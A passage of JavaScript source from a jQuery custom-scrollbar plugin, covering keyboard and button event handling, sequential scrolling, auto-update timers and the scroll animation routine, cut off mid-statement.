*/\n\t\t\n\t\t\n\t\t/* sets content wrapper scrollTop/scrollLeft always to 0 */\n\t\t_wrapperScroll=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),\n\t\t\t\tnamespace=pluginPfx+\"_\"+d.idx,\n\t\t\t\twrapper=$(\"#mCSB_\"+d.idx+\"_container\").parent();\n\t\t\twrapper.bind(\"scroll.\"+namespace,function(e){\n\t\t\t\tif(wrapper.scrollTop()!==0 || wrapper.scrollLeft()!==0){\n\t\t\t\t\t$(\".mCSB_\"+d.idx+\"_scrollbar\").css(\"visibility\",\"hidden\"); /* hide scrollbar(s) */\n\t\t\t\t}\n\t\t\t});\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* \n\t\tBUTTONS EVENTS\n\t\tscrolls content via up, down, left and right buttons \n\t\t*/\n\t\t_buttons=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,seq=d.sequential,\n\t\t\t\tnamespace=pluginPfx+\"_\"+d.idx,\n\t\t\t\tsel=\".mCSB_\"+d.idx+\"_scrollbar\",\n\t\t\t\tbtn=$(sel+\">a\");\n\t\t\tbtn.bind(\"mousedown.\"+namespace+\" touchstart.\"+namespace+\" pointerdown.\"+namespace+\" MSPointerDown.\"+namespace+\" mouseup.\"+namespace+\" touchend.\"+namespace+\" pointerup.\"+namespace+\" MSPointerUp.\"+namespace+\" mouseout.\"+namespace+\" pointerout.\"+namespace+\" MSPointerOut.\"+namespace+\" click.\"+namespace,function(e){\n\t\t\t\te.preventDefault();\n\t\t\t\tif(!_mouseBtnLeft(e)){return;} /* left mouse button only */\n\t\t\t\tvar btnClass=$(this).attr(\"class\");\n\t\t\t\tseq.type=o.scrollButtons.scrollType;\n\t\t\t\tswitch(e.type){\n\t\t\t\t\tcase \"mousedown\": case \"touchstart\": case \"pointerdown\": case \"MSPointerDown\":\n\t\t\t\t\t\tif(seq.type===\"stepped\"){return;}\n\t\t\t\t\t\ttouchActive=true;\n\t\t\t\t\t\td.tweenRunning=false;\n\t\t\t\t\t\t_seq(\"on\",btnClass);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"mouseup\": case \"touchend\": case \"pointerup\": case \"MSPointerUp\":\n\t\t\t\t\tcase \"mouseout\": case \"pointerout\": case \"MSPointerOut\":\n\t\t\t\t\t\tif(seq.type===\"stepped\"){return;}\n\t\t\t\t\t\ttouchActive=false;\n\t\t\t\t\t\tif(seq.dir){_seq(\"off\",btnClass);}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"click\":\n\t\t\t\t\t\tif(seq.type!==\"stepped\" || d.tweenRunning){return;}\n\t\t\t\t\t\t_seq(\"on\",btnClass);\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tfunction _seq(a,c){\n\t\t\t\t\tseq.scrollAmount=o.snapAmount || o.scrollButtons.scrollAmount;\n\t\t\t\t\t_sequentialScroll($this,a,c);\n\t\t\t\t}\n\t\t\t});\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* \n\t\tKEYBOARD EVENTS\n\t\tscrolls content via keyboard \n\t\tKeys: up arrow, down arrow, left arrow, right arrow, PgUp, PgDn, Home, End\n\t\t*/\n\t\t_keyboard=function(){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,seq=d.sequential,\n\t\t\t\tnamespace=pluginPfx+\"_\"+d.idx,\n\t\t\t\tmCustomScrollBox=$(\"#mCSB_\"+d.idx),\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\twrapper=mCSB_container.parent(),\n\t\t\t\teditables=\"input,textarea,select,datalist,keygen,[contenteditable='true']\",\n\t\t\t\tiframe=mCSB_container.find(\"iframe\"),\n\t\t\t\tevents=[\"blur.\"+namespace+\" keydown.\"+namespace+\" keyup.\"+namespace];\n\t\t\tif(iframe.length){\n\t\t\t\tiframe.each(function(){\n\t\t\t\t\t$(this).load(function(){\n\t\t\t\t\t\t/* bind events on accessible iframes */\n\t\t\t\t\t\tif(_canAccessIFrame(this)){\n\t\t\t\t\t\t\t$(this.contentDocument || this.contentWindow.document).bind(events[0],function(e){\n\t\t\t\t\t\t\t\t_onKeyboard(e);\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t});\n\t\t\t}\n\t\t\tmCustomScrollBox.attr(\"tabindex\",\"0\").bind(events[0],function(e){\n\t\t\t\t_onKeyboard(e);\n\t\t\t});\n\t\t\tfunction _onKeyboard(e){\n\t\t\t\tswitch(e.type){\n\t\t\t\t\tcase \"blur\":\n\t\t\t\t\t\tif(d.tweenRunning && seq.dir){_seq(\"off\",null);}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"keydown\": case \"keyup\":\n\t\t\t\t\t\tvar code=e.keyCode ? e.keyCode : e.which,action=\"on\";\n\t\t\t\t\t\tif((o.axis!==\"x\" && (code===38 || code===40)) || (o.axis!==\"y\" && (code===37 || code===39))){\n\t\t\t\t\t\t\t/* up (38), down (40), left (37), right (39) arrows */\n\t\t\t\t\t\t\tif(((code===38 || code===40) && !d.overflowed[0]) || ((code===37 || code===39) && !d.overflowed[1])){return;}\n\t\t\t\t\t\t\tif(e.type===\"keyup\"){action=\"off\";}\n\t\t\t\t\t\t\tif(!$(document.activeElement).is(editables)){\n\t\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\t\te.stopImmediatePropagation();\n\t\t\t\t\t\t\t\t_seq(action,code);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}else if(code===33 || code===34){\n\t\t\t\t\t\t\t/* PgUp (33), PgDn (34) */\n\t\t\t\t\t\t\tif(d.overflowed[0] || d.overflowed[1]){\n\t\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\t\te.stopImmediatePropagation();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif(e.type===\"keyup\"){\n\t\t\t\t\t\t\t\t_stop($this);\n\t\t\t\t\t\t\t\tvar keyboardDir=code===34 ? -1 : 1;\n\t\t\t\t\t\t\t\tif(o.axis===\"x\" || (o.axis===\"yx\" && d.overflowed[1] && !d.overflowed[0])){\n\t\t\t\t\t\t\t\t\tvar dir=\"x\",to=Math.abs(mCSB_container[0].offsetLeft)-(keyboardDir*(wrapper.width()*0.9));\n\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\tvar dir=\"y\",to=Math.abs(mCSB_container[0].offsetTop)-(keyboardDir*(wrapper.height()*0.9));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t_scrollTo($this,to.toString(),{dir:dir,scrollEasing:\"mcsEaseInOut\"});\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}else if(code===35 || code===36){\n\t\t\t\t\t\t\t/* End (35), Home (36) */\n\t\t\t\t\t\t\tif(!$(document.activeElement).is(editables)){\n\t\t\t\t\t\t\t\tif(d.overflowed[0] || d.overflowed[1]){\n\t\t\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\t\t\te.stopImmediatePropagation();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif(e.type===\"keyup\"){\n\t\t\t\t\t\t\t\t\tif(o.axis===\"x\" || (o.axis===\"yx\" && d.overflowed[1] && !d.overflowed[0])){\n\t\t\t\t\t\t\t\t\t\tvar dir=\"x\",to=code===35 ? Math.abs(wrapper.width()-mCSB_container.outerWidth(false)) : 0;\n\t\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t\tvar dir=\"y\",to=code===35 ? Math.abs(wrapper.height()-mCSB_container.outerHeight(false)) : 0;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t_scrollTo($this,to.toString(),{dir:dir,scrollEasing:\"mcsEaseInOut\"});\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tfunction _seq(a,c){\n\t\t\t\t\tseq.type=o.keyboard.scrollType;\n\t\t\t\t\tseq.scrollAmount=o.snapAmount || o.keyboard.scrollAmount;\n\t\t\t\t\tif(seq.type===\"stepped\" && d.tweenRunning){return;}\n\t\t\t\t\t_sequentialScroll($this,a,c);\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* scrolls content sequentially (used when scrolling via buttons, keyboard arrows etc.) */\n\t\t_sequentialScroll=function(el,action,trigger,e,s){\n\t\t\tvar d=el.data(pluginPfx),o=d.opt,seq=d.sequential,\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\tonce=seq.type===\"stepped\" ? true : false,\n\t\t\t\tsteplessSpeed=o.scrollInertia < 26 ? 26 : o.scrollInertia, /* 26/1.5=17 */\n\t\t\t\tsteppedSpeed=o.scrollInertia < 1 ? 17 : o.scrollInertia;\n\t\t\tswitch(action){\n\t\t\t\tcase \"on\":\n\t\t\t\t\tseq.dir=[\n\t\t\t\t\t\t(trigger===classes[16] || trigger===classes[15] || trigger===39 || trigger===37 ? \"x\" : \"y\"),\n\t\t\t\t\t\t(trigger===classes[13] || trigger===classes[15] || trigger===38 || trigger===37 ? -1 : 1)\n\t\t\t\t\t];\n\t\t\t\t\t_stop(el);\n\t\t\t\t\tif(_isNumeric(trigger) && seq.type===\"stepped\"){return;}\n\t\t\t\t\t_on(once);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"off\":\n\t\t\t\t\t_off();\n\t\t\t\t\tif(once || (d.tweenRunning && seq.dir)){\n\t\t\t\t\t\t_on(true);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\t/* starts sequence */\n\t\t\tfunction _on(once){\n\t\t\t\tvar c=seq.type!==\"stepped\", /* continuous scrolling */\n\t\t\t\t\tt=s ? s : !once ? 1000/60 : c ? steplessSpeed/1.5 : steppedSpeed, /* timer */\n\t\t\t\t\tm=!once ? 2.5 : c ? 7.5 : 40, /* multiplier */\n\t\t\t\t\tcontentPos=[Math.abs(mCSB_container[0].offsetTop),Math.abs(mCSB_container[0].offsetLeft)],\n\t\t\t\t\tratio=[d.scrollRatio.y>10 ? 10 : d.scrollRatio.y,d.scrollRatio.x>10 ? 10 : d.scrollRatio.x],\n\t\t\t\t\tamount=seq.dir[0]===\"x\" ? contentPos[1]+(seq.dir[1]*(ratio[1]*m)) : contentPos[0]+(seq.dir[1]*(ratio[0]*m)),\n\t\t\t\t\tpx=seq.dir[0]===\"x\" ? contentPos[1]+(seq.dir[1]*parseInt(seq.scrollAmount)) : contentPos[0]+(seq.dir[1]*parseInt(seq.scrollAmount)),\n\t\t\t\t\tto=seq.scrollAmount!==\"auto\" ? px : amount,\n\t\t\t\t\teasing=e ? e : !once ? \"mcsLinear\" : c ? \"mcsLinearOut\" : \"mcsEaseInOut\",\n\t\t\t\t\tonComplete=!once ? false : true;\n\t\t\t\tif(once && t<17){\n\t\t\t\t\tto=seq.dir[0]===\"x\" ? contentPos[1] : contentPos[0];\n\t\t\t\t}\n\t\t\t\t_scrollTo(el,to.toString(),{dir:seq.dir[0],scrollEasing:easing,dur:t,onComplete:onComplete});\n\t\t\t\tif(once){\n\t\t\t\t\tseq.dir=false;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tclearTimeout(seq.step);\n\t\t\t\tseq.step=setTimeout(function(){\n\t\t\t\t\t_on();\n\t\t\t\t},t);\n\t\t\t}\n\t\t\t/* stops sequence */\n\t\t\tfunction _off(){\n\t\t\t\tclearTimeout(seq.step);\n\t\t\t\t_delete(seq,\"step\");\n\t\t\t\t_stop(el);\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* returns a yx array from value */\n\t\t_arr=function(val){\n\t\t\tvar o=$(this).data(pluginPfx).opt,vals=[];\n\t\t\tif(typeof val===\"function\"){val=val();} /* check if the value is a single anonymous function */\n\t\t\t/* check if value is object or array, its length and create an array with yx values */\n\t\t\tif(!(val instanceof Array)){ /* object value (e.g. {y:\"100\",x:\"100\"}, 100 etc.) */\n\t\t\t\tvals[0]=val.y ? val.y : val.x || o.axis===\"x\" ? null : val;\n\t\t\t\tvals[1]=val.x ? val.x : val.y || o.axis===\"y\" ? null : val;\n\t\t\t}else{ /* array value (e.g. [100,100]) */\n\t\t\t\tvals=val.length>1 ? [val[0],val[1]] : o.axis===\"x\" ? [null,val[0]] : [val[0],null];\n\t\t\t}\n\t\t\t/* check if array values are anonymous functions */\n\t\t\tif(typeof vals[0]===\"function\"){vals[0]=vals[0]();}\n\t\t\tif(typeof vals[1]===\"function\"){vals[1]=vals[1]();}\n\t\t\treturn vals;\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* translates values (e.g. \"top\", 100, \"100px\", \"#id\") to actual scroll-to positions */\n\t\t_to=function(val,dir){\n\t\t\tif(val==null || typeof val==\"undefined\"){return;}\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\twrapper=mCSB_container.parent(),\n\t\t\t\tt=typeof val;\n\t\t\tif(!dir){dir=o.axis===\"x\" ? \"x\" : \"y\";}\n\t\t\tvar contentLength=dir===\"x\" ? mCSB_container.outerWidth(false) : mCSB_container.outerHeight(false),\n\t\t\t\tcontentPos=dir===\"x\" ? mCSB_container[0].offsetLeft : mCSB_container[0].offsetTop,\n\t\t\t\tcssProp=dir===\"x\" ? \"left\" : \"top\";\n\t\t\tswitch(t){\n\t\t\t\tcase \"function\": /* this currently is not used. Consider removing it */\n\t\t\t\t\treturn val();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"object\": /* js/jquery object */\n\t\t\t\t\tvar obj=val.jquery ? val : $(val);\n\t\t\t\t\tif(!obj.length){return;}\n\t\t\t\t\treturn dir===\"x\" ? _childPos(obj)[1] : _childPos(obj)[0];\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"string\": case \"number\":\n\t\t\t\t\tif(_isNumeric(val)){ /* numeric value */\n\t\t\t\t\t\treturn Math.abs(val);\n\t\t\t\t\t}else if(val.indexOf(\"%\")!==-1){ /* percentage value */\n\t\t\t\t\t\treturn Math.abs(contentLength*parseInt(val)/100);\n\t\t\t\t\t}else if(val.indexOf(\"-=\")!==-1){ /* decrease value */\n\t\t\t\t\t\treturn Math.abs(contentPos-parseInt(val.split(\"-=\")[1]));\n\t\t\t\t\t}else if(val.indexOf(\"+=\")!==-1){ /* inrease value */\n\t\t\t\t\t\tvar p=(contentPos+parseInt(val.split(\"+=\")[1]));\n\t\t\t\t\t\treturn p>=0 ? 0 : Math.abs(p);\n\t\t\t\t\t}else if(val.indexOf(\"px\")!==-1 && _isNumeric(val.split(\"px\")[0])){ /* pixels string value (e.g. \"100px\") */\n\t\t\t\t\t\treturn Math.abs(val.split(\"px\")[0]);\n\t\t\t\t\t}else{\n\t\t\t\t\t\tif(val===\"top\" || val===\"left\"){ /* special strings */\n\t\t\t\t\t\t\treturn 0;\n\t\t\t\t\t\t}else if(val===\"bottom\"){\n\t\t\t\t\t\t\treturn Math.abs(wrapper.height()-mCSB_container.outerHeight(false));\n\t\t\t\t\t\t}else if(val===\"right\"){\n\t\t\t\t\t\t\treturn Math.abs(wrapper.width()-mCSB_container.outerWidth(false));\n\t\t\t\t\t\t}else if(val===\"first\" || val===\"last\"){\n\t\t\t\t\t\t\tvar obj=mCSB_container.find(\":\"+val);\n\t\t\t\t\t\t\treturn dir===\"x\" ? _childPos(obj)[1] : _childPos(obj)[0];\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\tif($(val).length){ /* jquery selector */\n\t\t\t\t\t\t\t\treturn dir===\"x\" ? _childPos($(val))[1] : _childPos($(val))[0];\n\t\t\t\t\t\t\t}else{ /* other values (e.g. \"100em\") */\n\t\t\t\t\t\t\t\tmCSB_container.css(cssProp,val);\n\t\t\t\t\t\t\t\tmethods.update.call(null,$this[0]);\n\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* calls the update method automatically */\n\t\t_autoUpdate=function(rem){\n\t\t\tvar $this=$(this),d=$this.data(pluginPfx),o=d.opt,\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\");\n\t\t\tif(rem){\n\t\t\t\t/* \n\t\t\t\tremoves autoUpdate timer \n\t\t\t\tusage: _autoUpdate.call(this,\"remove\");\n\t\t\t\t*/\n\t\t\t\tclearTimeout(mCSB_container[0].autoUpdate);\n\t\t\t\t_delete(mCSB_container[0],\"autoUpdate\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar\twrapper=mCSB_container.parent(),\n\t\t\t\tscrollbar=[$(\"#mCSB_\"+d.idx+\"_scrollbar_vertical\"),$(\"#mCSB_\"+d.idx+\"_scrollbar_horizontal\")],\n\t\t\t\tscrollbarSize=function(){return [\n\t\t\t\t\tscrollbar[0].is(\":visible\") ? scrollbar[0].outerHeight(true) : 0, /* returns y-scrollbar height */\n\t\t\t\t\tscrollbar[1].is(\":visible\") ? scrollbar[1].outerWidth(true) : 0 /* returns x-scrollbar width */\n\t\t\t\t]},\n\t\t\t\toldSelSize=sizesSum(),newSelSize,\n\t\t\t\tos=[mCSB_container.outerHeight(false),mCSB_container.outerWidth(false),wrapper.height(),wrapper.width(),scrollbarSize()[0],scrollbarSize()[1]],ns,\n\t\t\t\toldImgsLen=imgSum(),newImgsLen;\n\t\t\tupd();\n\t\t\tfunction upd(){\n\t\t\t\tclearTimeout(mCSB_container[0].autoUpdate);\n\t\t\t\tif($this.parents(\"html\").length===0){\n\t\t\t\t\t/* check element in dom tree */\n\t\t\t\t\t$this=null;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tmCSB_container[0].autoUpdate=setTimeout(function(){\n\t\t\t\t\t/* update on specific selector(s) length and size change */\n\t\t\t\t\tif(o.advanced.updateOnSelectorChange){\n\t\t\t\t\t\tnewSelSize=sizesSum();\n\t\t\t\t\t\tif(newSelSize!==oldSelSize){\n\t\t\t\t\t\t\tdoUpd(3);\n\t\t\t\t\t\t\toldSelSize=newSelSize;\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t/* update on main element and scrollbar size changes */\n\t\t\t\t\tif(o.advanced.updateOnContentResize){\n\t\t\t\t\t\tns=[mCSB_container.outerHeight(false),mCSB_container.outerWidth(false),wrapper.height(),wrapper.width(),scrollbarSize()[0],scrollbarSize()[1]];\n\t\t\t\t\t\tif(ns[0]!==os[0] || ns[1]!==os[1] || ns[2]!==os[2] || ns[3]!==os[3] || ns[4]!==os[4] || ns[5]!==os[5]){\n\t\t\t\t\t\t\tdoUpd(ns[0]!==os[0] || ns[1]!==os[1]);\n\t\t\t\t\t\t\tos=ns;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t/* update on image load */\n\t\t\t\t\tif(o.advanced.updateOnImageLoad){\n\t\t\t\t\t\tnewImgsLen=imgSum();\n\t\t\t\t\t\tif(newImgsLen!==oldImgsLen){\n\t\t\t\t\t\t\tmCSB_container.find(\"img\").each(function(){\n\t\t\t\t\t\t\t\timgLoader(this);\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\toldImgsLen=newImgsLen;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif(o.advanced.updateOnSelectorChange || o.advanced.updateOnContentResize || o.advanced.updateOnImageLoad){upd();}\n\t\t\t\t},o.advanced.autoUpdateTimeout);\n\t\t\t}\n\t\t\t/* returns images amount */\n\t\t\tfunction imgSum(){\n\t\t\t\tvar total=0\n\t\t\t\tif(o.advanced.updateOnImageLoad){total=mCSB_container.find(\"img\").length;}\n\t\t\t\treturn total;\n\t\t\t}\n\t\t\t/* a tiny image loader */\n\t\t\tfunction imgLoader(el){\n\t\t\t\tif($(el).hasClass(classes[2])){doUpd(); return;}\n\t\t\t\tvar img=new Image();\n\t\t\t\tfunction createDelegate(contextObject,delegateMethod){\n\t\t\t\t\treturn function(){return delegateMethod.apply(contextObject,arguments);}\n\t\t\t\t}\n\t\t\t\tfunction imgOnLoad(){\n\t\t\t\t\tthis.onload=null;\n\t\t\t\t\t$(el).addClass(classes[2]);\n\t\t\t\t\tdoUpd(2);\n\t\t\t\t}\n\t\t\t\timg.onload=createDelegate(img,imgOnLoad);\n\t\t\t\timg.src=el.src;\n\t\t\t}\n\t\t\t/* returns the total height and width sum of all elements matching the selector */\n\t\t\tfunction sizesSum(){\n\t\t\t\tif(o.advanced.updateOnSelectorChange===true){o.advanced.updateOnSelectorChange=\"*\";}\n\t\t\t\tvar total=0,sel=mCSB_container.find(o.advanced.updateOnSelectorChange);\n\t\t\t\tif(o.advanced.updateOnSelectorChange && sel.length>0){sel.each(function(){total+=$(this).height()+$(this).width();});}\n\t\t\t\treturn total;\n\t\t\t}\n\t\t\t/* calls the update method */\n\t\t\tfunction doUpd(cb){\n\t\t\t\tclearTimeout(mCSB_container[0].autoUpdate); \n\t\t\t\tmethods.update.call(null,$this[0],cb);\n\t\t\t}\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* snaps scrolling to a multiple of a pixels number */\n\t\t_snapAmount=function(to,amount,offset){\n\t\t\treturn (Math.round(to/amount)*amount-offset); \n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* stops content and scrollbar animations */\n\t\t_stop=function(el){\n\t\t\tvar d=el.data(pluginPfx),\n\t\t\t\tsel=$(\"#mCSB_\"+d.idx+\"_container,#mCSB_\"+d.idx+\"_container_wrapper,#mCSB_\"+d.idx+\"_dragger_vertical,#mCSB_\"+d.idx+\"_dragger_horizontal\");\n\t\t\tsel.each(function(){\n\t\t\t\t_stopTween.call(this);\n\t\t\t});\n\t\t},\n\t\t/* -------------------- */\n\t\t\n\t\t\n\t\t/* \n\t\tANIMATES CONTENT \n\t\tThis is where the actual scrolling happens\n\t\t*/\n\t\t_scrollTo=function(el,to,options){\n\t\t\tvar d=el.data(pluginPfx),o=d.opt,\n\t\t\t\tdefaults={\n\t\t\t\t\ttrigger:\"internal\",\n\t\t\t\t\tdir:\"y\",\n\t\t\t\t\tscrollEasing:\"mcsEaseOut\",\n\t\t\t\t\tdrag:false,\n\t\t\t\t\tdur:o.scrollInertia,\n\t\t\t\t\toverwrite:\"all\",\n\t\t\t\t\tcallbacks:true,\n\t\t\t\t\tonStart:true,\n\t\t\t\t\tonUpdate:true,\n\t\t\t\t\tonComplete:true\n\t\t\t\t},\n\t\t\t\toptions=$.extend(defaults,options),\n\t\t\t\tdur=[options.dur,(options.drag ? 0 : options.dur)],\n\t\t\t\tmCustomScrollBox=$(\"#mCSB_\"+d.idx),\n\t\t\t\tmCSB_container=$(\"#mCSB_\"+d.idx+\"_container\"),\n\t\t\t\twrapper=mCSB_container.parent(),\n\t\t\t\ttotalScrollOffsets=o.callbacks.onTotalScrollOffset ? _arr.call(el,o.callbacks.onTotalScrollOffset) : [0,0],\n\t\t\t\ttotalScrollBackOffsets=o.callbacks.onTotalScrollBackOffset ? _arr.call(el,o.callbacks.onTotalScrollBackOffset) : [0,0];\n\t\t\td.trigger=options.trigger;\n\t\t\tif(wrapper.scrollTop()!==0 || wrapper.scrollLeft()!==0){ /* always reset scrollTop/Left */\n\t\t\t\t$(\".mCSB_\"+d.idx+\"_scrollbar\").css(\"visibility\",\"visible\");\n\t\t\t\twrapper.scrollTop(0).scrollLeft(0);\n\t\t\t}\n\t\t\tif(to===\"_resetY\" && !d.contentReset.y){\n\t\t\t\t/* callbacks: onOverflowYNone */\n\t\t\t\tif(_cb(\"onOverflowYNone\")){o.callbacks.onOverflowYNone.call(el[0]);}\n\t\t\t\td.contentReset.y=1;\n\t\t\t}\n\t\t\tif(to===\"_resetX\" && !d.contentReset.x){\n\t\t\t\t/* callbacks: onOverflowXNone */\n\t\t\t\tif(_cb(\"onOverflowXNone\")){o.callbacks.onOverflowXNone.call(el[0]);}\n\t\t\t\td.contentReset.x=1;\n\t\t\t}\n\t\t\tif(to===\"_resetY\" || to===\"_resetX\"){return;}\n\t\t\tif((d.contentReset.y || !el[0].mcs) && d.overflowed[0]){\n\t\t\t\t/* callbacks: onOverflowY */\n\t\t\t\tif(_cb(\"onOverflowY\")){o.callbacks.onOverflowY.call(el[0]);}\n\t\t\t\td.contentReset.x=null;\n\t\t\t}\n\t\t\tif((d.contentReset.x || !el[0].mcs) && d.overflowed[1]){\n\t\t\t\t/* callbacks: onOverflowX */\n\t\t\t\tif(_cb(\"onOverflowX\")){o.callbacks.onOverflowX.call(el[0]);}\n\t\t\t\td.contentReset.x=null;\n\t\t\t}\n\t\t\tif(o.snapAmount){to=_snapAmount(to,o.snapAmount,o.snapOffset);} /* scrolling snapping */\n\t\t\tswitch(options.dir){\n\t\t\t\tcase \"x\":\n\t\t\t\t\tvar mCSB_dragger=$(\"#mCSB_\"+d.idx+\"_dragger_horizontal\"),\n\t\t\t\t\t\tproperty=\"left\",\n\t\t\t\t\t\tcontentPos=mCSB_container[0].offsetLeft,\n\t\t\t\t\t\tlimit=[\n\t\t\t\t\t\t\tmCustomScrollBox.width()-mCSB_container.outerWidth(false),\n\t\t\t\t\t\t\tmCSB_dragger.parent().width()-mCSB_dragger.width()\n\t\t\t\t\t\t],\n\t\t\t\t\t\tscrollTo=[to,to===0 ? 0 : (to/d.scrollRatio.x)],\n\t\t\t\t\t\ttso=totalScrollOffsets[1],\n\t\t\t\t\t\ttsbo=totalScrollBackOffsets[1],\n\t\t\t\t\t\ttotalScrollOffset=tso>0 ? tso/d.scrollRatio.x : 0,\n\t\t\t\t\t\ttotalScrollBackOffset=tsbo>0 ? tsbo/d.scrollRatio.x : 0;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"y\":\n\t\t\t\t\tvar mCSB_dragger=$(\"#mCSB_\"+d.idx+\"_dragger_vertical\"),\n\t\t\t\t\t\tproperty=\"top\",\n\t\t\t\t\t\tcontentPos=mCSB_container[0].offsetTop,\n\t\t\t\t\t\tlimit=[\n\t\t\t\t\t\t\tmCustomScrollBox.height()-mCSB_container.outerHeight(false),\n\t\t\t\t\t\t\tmCSB_dragger.parent().height()-mCSB_dragger.height()\n\t\t\t\t\t\t],\n\t\t\t\t\t\tscrollTo=[to,to===0 ? 0 : (to/d.scrollRatio.y)],\n\t\t\t\t\t\ttso=totalScrollOffsets[0],\n\t\t\t\t\t\ttsbo=totalScrollBackOffsets[0],\n\t\t\t\t\t\ttotalScrollOffset=tso>0 ? tso/d.scrollRatio.y : 0,\n\t\t\t\t\t\ttotalScrollBackOffset=tsbo>0 ? tsbo/d.scrollRatio.y : 0;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif(scrollTo[1]<0 || (scrollTo[0]===0 && scrollTo[1]===0)){\n\t\t\t\tscrollTo=[0,0];\n\t\t\t}else if(scrollTo[1]>=limit[1]){\n\t\t\t\tscrollTo=[limit[0],limit[1]];\n\t\t\t}else{\n\t\t\t\tscrollTo[0]=-scrollTo[0];\n\t\t\t}\n\t\t\tif(!el[0].mcs){\n\t\t\t\t_mcs();  /* init mcs object (once) to make it available before callbacks */\n\t\t\t\tif(_cb(\"onInit\")){o.callbacks.onInit.call(el[0]);} /* callbacks: onInit */\n\t\t\t}\n\t\t\tclearTimeout(mCSB_container[0].onCompleteTimeout);\n\t\t\tif(!d.tweenRunning && ((contentPos===0 && scrollTo[0]>=0) || (contentPos===limit[0] && scrollTo[0]<=limit[0]))){return;}\n\t\t\t_tweenTo(mCSB_dragger[0],property,Math.round(scrollTo[1]),dur[1],options.scrollEasing);\n\t\t\t_tweenTo(mCSB_container[0],property,Math.round(scrollTo[0]),dur[0],options.scrollEasing,options.overwrite,{\n\t\t\t\tonStart:function(){\n\t\t\t\t\tif(options.callbacks && options.onStart && !d.tweenRunning){\n\t\t\t\t\t\t/* callbacks: onScrollStart */\n\t\t\t\t\t\tif(_cb(\"onScrollStart\")){_mcs(); o.callbacks.onScrollStart.call(el[0]);}\n\t\t\t\t\t\td.tweenRunning=true;\n\t\t\t\t\t\t_onDragClasses(mCSB_dragger);\n\t\t\t\t\t\td.cbOffsets=_cbOffsets();\n\t\t\t\t\t}\n\t\t\t\t},onUpdate:function(){\n\t\t\t\t\tif(options.callbacks && options.onUpdate){\n\t\t\t\t\t\t/* callbacks: whileScrolling */\n\t\t\t\t\t\tif(_cb(\"whileScrolling\")){_mcs(); o.callbacks.whileScrolling.call(el[0]);}\n\t\t\t\t\t}\n\t\t\t\t},onComplete:function(){\n\t\t\t\t\tif(options.callbacks && options.onComplete){\n\t\t\t\t\t\tif(o.axis===\"yx\"){clearTimeout(mCSB_container[0].onCompleteTimeout);}\n\t\t\t\t\t\tvar t=mCSB_container[0].idleTimer || 0;\n\t\t\t\t\t\tmCSB_container[0].onCompleteTimeout=setTimeout(function(){\n\t\t\t\t\t\t\t/* callbacks: onScroll, onTotalScroll, onTotalScrollBack */\n\t\t\t\t\t\t\tif(_cb(\"onScroll\")){_mcs(); o.callbacks.onScroll.call(el[0]);}\n\t\t\t\t\t\t\tif(_cb(\"onTotalScroll\") && scrollTo[1]>=limit[1]-totalScrollOffset && d.cbOffsets[0]){_mcs(); 